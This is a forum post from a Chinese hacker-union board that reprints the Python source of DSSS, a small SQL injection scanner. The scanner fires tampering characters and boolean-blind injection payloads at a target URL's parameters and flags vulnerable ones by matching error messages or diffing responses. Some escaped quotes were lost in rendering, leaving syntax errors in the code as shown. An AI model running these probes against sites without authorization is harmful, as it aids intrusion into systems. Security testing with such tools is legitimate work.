搜索
查看: 515|回复: 0

【100行Python代码扫描器】 SQL injection vulnerability scanner (DSSS)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-12-2 21:12:39 | 显示全部楼层 |阅读模式
  1. #!/usr/bin/env python
  2. import difflib, httplib, itertools, optparse, random, re, urllib, urllib2, urlparse

  3. NAME    = "Damn Small sqli Scanner (DSSS) < 100 LoC (Lines of Code)"
  4. VERSION = "0.2m"
  5. AUTHOR  = "Miroslav Stampar (@stamparm)"
  6. LICENSE = "Public domain (FREE)"

  7. PREFIXES = (" ", ") ", "' ", "') ", """, "%%' ", "%%') ")              # prefix values used for building testing blind payloads
  8. SUFFIXES = ("", "-- -", "#", "%%00", "%%16")                            # suffix values used for building testing blind payloads
  9. TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"')                            # characters used for SQL tampering/poisoning of parameter values
  10. BOOLEAN_TESTS = ("AND %d>%d", "OR NOT (%d>%d)")                         # boolean tests used for building testing blind payloads
  11. COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer"                 # optional HTTP header names
  12. GET, POST = "GET", "POST"                                               # enumerator-like values used for marking current phase
  13. TEXT, HTTPCODE, TITLE, HTML = xrange(4)                                 # enumerator-like values used for marking content type
  14. FUZZY_THRESHOLD = 0.95                                                  # ratio value in range (0,1) used for distinguishing True from False responses
  15. TIMEOUT = 30                                                            # connection timeout in seconds

  16. DBMS_ERRORS = {
  17.     "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
  18.     "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
  19.     "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
  20.     "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
  21.     "Oracle": (r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*")
  22. }

  23. _headers = {}                                                           # used for storing dictionary with optional header values

  24. def _retrieve_content(url, data=None):
  25.     retval = {HTTPCODE: httplib.OK}
  26.     try:
  27.         req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, _headers)
  28.         retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read()
  29.     except Exception, ex:
  30.         retval[HTTPCODE] = getattr(ex, "code", None)
  31.         retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
  32.     match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
  33.     retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
  34.     retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
  35.     return retval

  36. def scan_page(url, data=None):
  37.     retval, usable = False, False
  38.     url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
  39.     try:
  40.         for phase in (GET, POST):
  41.             original, current = None, url if phase is GET else (data or "")
  42.             for match in re.finditer(r"((\A|[?&])(?P<parameter>\w+)=)(?P<value>[^&]+)", current):
  43.                 vulnerable, usable = False, True
  44.                 print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
  45.                 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
  46.                 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
  47.                 for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
  48.                     if not vulnerable and re.search(regex, content[HTML], re.I):
  49.                         print " (i) %s parameter '%s' could be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
  50.                         retval = vulnerable = True
  51.                 vulnerable = False
  52.                 original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
  53.                 randint = random.randint(1, 255)
  54.                 for prefix, boolean, suffix in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES):
  55.                     if not vulnerable:
  56.                         template = "%s%s%s" % (prefix, boolean, suffix)
  57.                         payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (randint + 1 if _ else randint, randint), safe='%')))) for _ in (True, False))
  58.                         contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
  59.                         if all(_[HTTPCODE] for _ in (original, contents[True], contents[False])) and (any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE))):
  60.                             vulnerable = True
  61.                         else:
  62.                             ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (True, False))
  63.                             vulnerable = all(ratios.values()) and ratios[True] > FUZZY_THRESHOLD and ratios[False] < FUZZY_THRESHOLD
  64.                         if vulnerable:
  65.                             print " (i) %s parameter '%s' appears to be blind SQLi vulnerable" % (phase, match.group("parameter"))
  66.                             retval = True
  67.         if not usable:
  68.             print " (x) no usable GET/POST parameters found"
  69.     except KeyboardInterrupt:
  70.         print "\r (x) Ctrl-C pressed"
  71.     return retval

  72. def init_options(proxy=None, cookie=None, ua=None, referer=None):
  73.     global _headers
  74.     _headers = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
  75.     urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)

  76. if __name__ == "__main__":
  77.     print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
  78.     parser = optparse.OptionParser(version=VERSION)
  79.     parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. "http://www.target.com/page.php?id=1")")
  80.     parser.add_option("--data", dest="data", help="POST data (e.g. "query=test")")
  81.     parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
  82.     parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
  83.     parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
  84.     parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. "http://127.0.0.1:8080")")
  85.     options, _ = parser.parse_args()
  86.     if options.url:
  87.         init_options(options.proxy, options.cookie, options.ua, options.referer)
  88.         result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
  89.         print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
  90.     else:
  91.         parser.print_help()
复制代码
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表